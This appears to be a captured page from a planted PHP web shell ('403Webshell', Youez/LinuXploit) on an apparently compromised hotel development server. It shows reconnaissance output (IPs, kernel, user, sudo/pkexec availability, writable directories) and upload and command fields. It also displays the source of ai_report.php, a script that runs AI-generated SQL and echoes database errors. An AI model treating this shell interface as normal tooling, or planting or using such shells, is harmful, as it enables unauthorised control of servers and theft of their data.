403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.217.39
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/hotel-dev/public_html/rpt/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/hotel-dev/public_html/rpt/ai_report.php
<?php include('mod/_mod_security.php'); ?>
<?php
	if (empty($_POST['ai_query'])) :
		echo 'No user query specified!';
		exit();
	endif;
	require_once('classes/lcs_ai_report.php');
	$ai_report = new lcs_ai_report($_POST['ai_query']);
	$sql_data = $ai_report->get_sql_from_english_query();
	//echo '<pre>' . json_encode($sql_data, JSON_PRETTY_PRINT) . '</pre>';
	//exit;

	if (empty($sql_data['SQL']) || !is_sql_select_only($sql_data['SQL'])) :
		echo 'Invalid generated SQL!';
		exit();
	endif;
	$filter = json_encode($sql_data, JSON_PRETTY_PRINT);

	try {
		$stmt = $db->prepare($sql_data['SQL']);
		$stmt->execute($sql_data['PARAMETERS']);
	} catch (PDOException $e) {
		echo 'There is an error in AI generated SQL!<br><br>';
		echo 'User query: ' . htmlspecialchars($_POST['ai_query']) . '<br><br>';
		echo 'AI generated SQL:<br><pre>' . $filter . '</pre><br><br>';
		echo "Database Error: " . $e->getMessage();
		exit();
	}
	$rows = $stmt->fetchAll(PDO::FETCH_ASSOC);

	if (count($rows) <= 0) :
		echo 'User query: ' . htmlspecialchars($_POST['ai_query']) . '<br><br>';
		echo 'No data for report!<br><pre>' . $filter . '</pre>';
		exit();
	endif;
	$column_count = count($rows[array_key_first($rows)]);
	$fields = array_keys($rows[array_key_first($rows)]);
	$rpt = get_report_class($_POST['output_format']);
	$rpt->set_report_title('AI Generated Report');
	$rpt->report_start();
	
	$rpt->header_start();
	if (!empty($filter)) :
		$rpt->header_row_start();
		$rpt->header_cell_add('Filters: <br><pre style="white-space: pre-wrap; word-break: break-all;">' . $filter . '</pre>', ['colspan'=>$column_count, 'class'=>'large left', 'align'=>'left']);
		$rpt->header_row_end();
	endif;
	$rpt->header_row_start();
	foreach ($fields as $field) :
		$rpt->header_cell_add($field, ['width'=>'auto']);
	endforeach;
	$rpt->header_row_end();
	$rpt->header_end();
	
	$rpt->data_start();
	$tot_count = [];
	$tot_sum = [];
	foreach ($rows as $row) :
		$rpt->data_row_start();
		foreach ($row as $field_name => $field_data) :
			$rpt->data_cell_add($field_data);
			$tot_count[$field_name] += 1;
			$tot_sum[$field_name] += (float)$field_data;
		endforeach;
		$rpt->data_row_end();
	endforeach;
	$rpt->data_row_start();
	$rpt->data_cell_add('Total Counts', ['colspan'=>$column_count, 'align'=>'center']);
	$rpt->data_row_end();
	$rpt->data_row_start();
	foreach ($tot_count as $total_column_count) :
		$rpt->data_cell_add(number_format($total_column_count, 0), ['align'=>'right']);
	endforeach;
	$rpt->data_row_end();
	$rpt->data_row_start();
	$rpt->data_cell_add('Total Sums', ['colspan'=>$column_count, 'align'=>'center']);
	$rpt->data_row_end();
	$rpt->data_row_start();
	foreach ($tot_sum as $total_column_sum) :
		$rpt->data_cell_add(number_format($total_column_sum, 2), ['align'=>'right']);
	endforeach;
	$rpt->data_row_end();
	$rpt->data_end();
	
	$rpt->report_end();
	$rpt->output_report();

?>

Youez - 2016 - github.com/yon3zu
LinuXploit